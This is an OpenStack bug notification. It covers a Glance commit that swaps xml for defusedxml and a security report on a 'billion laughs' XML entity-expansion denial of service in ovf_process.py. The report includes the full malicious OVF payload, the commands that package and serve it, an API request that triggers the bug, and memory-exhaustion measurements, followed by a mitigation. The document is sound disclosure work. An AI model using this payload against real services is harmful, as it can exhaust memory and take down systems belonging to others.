Open Stack

Reviewed:  https://review.openstack.org/537855
Committed: https://git.openstack.org/cgit/openstack/glance/commit/?id=6e82ea023a63b74b49d94f4e65b0a7cd3e0c49f6
Submitter: Zuul
Branch:    master

commit 6e82ea023a63b74b49d94f4e65b0a7cd3e0c49f6
Author: Vladislav Kuzmin <vkuzmin at mirantis.com>
Date:   Thu Jan 25 15:11:39 2018 +0400

    Replace xml defusedxml
    
    xml was considered as vulnerable to different atacks.
    It is recommended to replace this library with defused_xml
    
    Change-Id: I2b146dc34ada37a3ed9ecf49513d024a8ca2fb19
    Related-Bug: #1625402

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https://bugs.launchpad.net/bugs/1625402

Title:
  Authenticated "Billion laughs" memory exhaustion / DoS vulnerability
  in ovf_process.py

Status in Glance:
  In Progress
Status in OpenStack Security Advisory:
  Opinion

Bug description:
  Creating a task to import an OVA file with a malicious OVF file inside
  it will result in significant memory usage by the glance-api process.

  This is caused by the use of the xml.etree module in ovf_process.py
  [1] [2] to process OVF images extracted from OVA files with
  ET.iterparse(). No validation is currently performed on the XML prior
  to parsing.

  As outlined in the Python documentation, xml.etree is vulnerable to
  the "billion laughs" vulnerability when parsing untrusted input [3]

  Note: if using a devstack instance, you will need to edit the
  "work_dir" variable in /etc/glance/glance-api.conf to point to a real
  folder.

  -----------------------------------------
  Example request
  -----------------------------------------

  POST /v2/tasks HTTP/1.1
  Host: localhost:1338
  Connection: close
  Accept-Encoding: gzip, deflate
  Accept: application/json
  User-Agent: python-requests/2.11.1
  Content-Type: application/json
  X-Auth-Token: [ADMIN TOKEN]
  Content-Length: 287

  {
      "type": "import",
      "input": {
          "import_from": "http://127.0.0.1:9090/laugh.ova",
          "import_from_format": "raw",
          "image_properties": {
              "disk_format": "raw",
              "container_format": "ova",
       "name": "laugh"
          }
      }
  }

  -----------------------------------------
  Creating the malicious OVA/OVF
  -----------------------------------------

  "laugh.ova" can be created like so:

  1. Copy this into a file called "laugh.ovf":
  <?xml version="1.0"?>
  <!DOCTYPE lolz [
   <!ENTITY lol "lol">
   <!ELEMENT lolz (#PCDATA)>
   <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
   <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
   <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
   <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
   <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
   <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
   <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
   <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
   <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
   <!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">
  ]>
  <lolz>&lol10;</lolz>

  2. Create the OVA file (tarball) with the "tar" utility:

      $ tar -cf laugh.ova.tar laugh.ovf && mv laugh.ova.tar laugh.ova

  3. (Optional) If you want to serve this from your devstack instance
  (as in the request above), run this in the folder where you created
  the OVA file:

      $ python -m SimpleHTTPServer 9090

  -----------------------------------------
  Performance impact
  -----------------------------------------
  Profiling my VM from a fresh boot:

  $ vboxmanage metrics query [VM NAME] Guest/RAM/Usage/Free,Guest/Pagefile/Usage/Total,Guest/CPU/Load/User:avg
  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 13.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 2456680 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  After submitting this task twice (repeating calls to the above
  command):

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 84.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1989684 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 88.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1694080 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 83.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1426876 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 79.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1181248 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 85.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 817244 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 84.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 548636 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 74.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 118932 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  After submitting enough of these requests at once, glance-api runs out
  of memory and can't restart itself. Here's what the log looks like
  after the "killer request" [4]

  -----------------------------------------
  Mitigation
  -----------------------------------------

  Any instances of xml.etree should be replaced with their equivalent in
  a secure XML parsing library like defusedxml [5]

  1: https://github.com/openstack/glance/blob/master/glance/async/flows/ovf_process.py#L21-L24
  2: https://github.com/openstack/glance/blob/master/glance/async/flows/ovf_process.py#L184
  3: https://docs.python.org/2/library/xml.html#xml-vulnerabilities
  4: https://gist.github.com/cneill/5265d887e0125c0e20254282a6d8ae64
  5: https://pypi.python.org/pypi/defusedxml

  -----------------------------------------
  Other
  -----------------------------------------
  Thanks to Rahul Nair from the OpenStack Security Project for bringing the ovf_process file to my attention in the first place. We are testing Glance for security defects as part of OSIC, using our API security testing tool called Syntribos (https://github.com/openstack/syntribos), and Bandit (which was used to discover this issue).

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